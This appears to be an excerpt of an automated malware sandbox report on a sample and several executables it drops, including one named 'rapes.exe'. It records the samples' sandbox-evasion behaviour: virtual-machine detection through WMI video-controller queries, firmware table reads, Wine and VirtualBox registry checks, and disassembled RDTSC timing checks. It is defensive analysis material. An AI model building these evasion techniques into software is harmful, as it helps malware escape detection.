Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\10128900101\a026d51e13.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4820 second address: 3A4826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4826 second address: 3A482A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A482A second address: 3A482E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A482E second address: 3A4834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4C2D second address: 3A4C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4D68 second address: 3A4D7A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFEF544D316h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4D7A second address: 3A4D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4D86 second address: 3A4D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4D8A second address: 3A4D8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4D8E second address: 3A4DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f jmp 00007EFEF544D31Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4DA8 second address: 3A4DAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4DAE second address: 3A4DC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF544D326h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A4F3A second address: 3A4F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFEF4E8FF73h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A66B6 second address: 3A66FC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFEF544D324h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007EFEF544D327h 0x00000011 jmp 00007EFEF544D321h 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c js 00007EFEF544D320h 0x00000022 jmp 00007EFEF544D31Ah 0x00000027 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A66FC second address: 3A670F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007EFEF4E8FF66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A670F second address: 3A6724 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A685D second address: 3A6863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A6863 second address: 3A6867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A6867 second address: 3A6878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A6878 second address: 3A68CD instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFEF544D316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jnl 00007EFEF544D323h 0x00000014 jmp 00007EFEF544D324h 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f pushad 0x00000020 jne 00007EFEF544D316h 0x00000026 jmp 00007EFEF544D31Eh 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A698A second address: 3A699D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A699D second address: 3A69B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFEF544D326h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A69B7 second address: 3A6A16 instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFEF4E8FF66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 5F38084Dh 0x00000013 add dword ptr [ebp+122D2812h], esi 0x00000019 pushad 0x0000001a pushad 0x0000001b mov dword ptr [ebp+122D1947h], edi 0x00000021 mov dword ptr [ebp+122D1807h], edi 0x00000027 popad 0x00000028 mov si, 3E61h 0x0000002c popad 0x0000002d push 00000003h 0x0000002f xor dword ptr [ebp+122D1ABFh], ebx 0x00000035 push 00000000h 0x00000037 and di, 9F86h 0x0000003c call 00007EFEF4E8FF71h 0x00000041 pop edx 0x00000042 push 00000003h 0x00000044 mov edi, dword ptr [ebp+122D2AD6h] 0x0000004a push A48BF73Eh 0x0000004f push ecx 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A6A16 second address: 3A6A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 xor dword ptr [esp], 648BF73Eh 0x0000000d mov ecx, dword ptr [ebp+122D2AE6h] 0x00000013 lea ebx, dword ptr [ebp+124575CBh] 0x00000019 mov dl, 34h 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pushad 0x00000020 popad 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3A6B4E second address: 3A6B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
